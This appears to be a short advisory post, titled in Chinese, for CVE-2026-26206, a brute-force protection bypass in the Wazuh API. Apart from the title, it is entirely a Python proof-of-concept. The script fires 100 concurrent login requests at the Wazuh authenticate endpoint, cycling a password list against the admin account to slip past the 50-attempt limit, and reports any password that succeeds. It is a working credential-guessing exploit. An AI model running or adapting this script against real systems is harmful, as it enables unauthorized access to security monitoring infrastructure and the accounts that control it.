CVE-2026-26206 Wazuh API暴力破解防护绕过漏洞

import asyncio import aiohttp # Proof of Concept for CVE-2026-26206 # This script demonstrates bypassing brute-force protection using concurrent requests. TARGET_URL = "https://<wazuh-api-host>/security/user/authenticate" USERNAME = "admin" PASSWORD_LIST = ["password1", "password2", "password3", "password4", "password5"] CONCURRENT_REQUESTS = 100 # Sending 100 requests concurrently to bypass the limit of 50 async def attempt_login(session, password): payload = { "username": USERNAME, "password": password } try: async with session.post(TARGET_URL, json=payload, ssl=False) as response: if response.status == 200: print(f"[+] Success with password: {password}") return await response.text() else: print(f"[-] Failed with password: {password}, Status: {response.status}") except Exception as e: print(f"[!] Error: {e}") return None async def main(): async with aiohttp.ClientSession() as session: tasks = [] # Simulate a burst of concurrent requests for i in range(CONCURRENT_REQUESTS): # Cycle through passwords if list is shorter than request count pwd = PASSWORD_LIST[i % len(PASSWORD_LIST)] tasks.append(attempt_login(session, pwd)) await asyncio.gather(*tasks) if __name__ == "__main__": asyncio.run(main())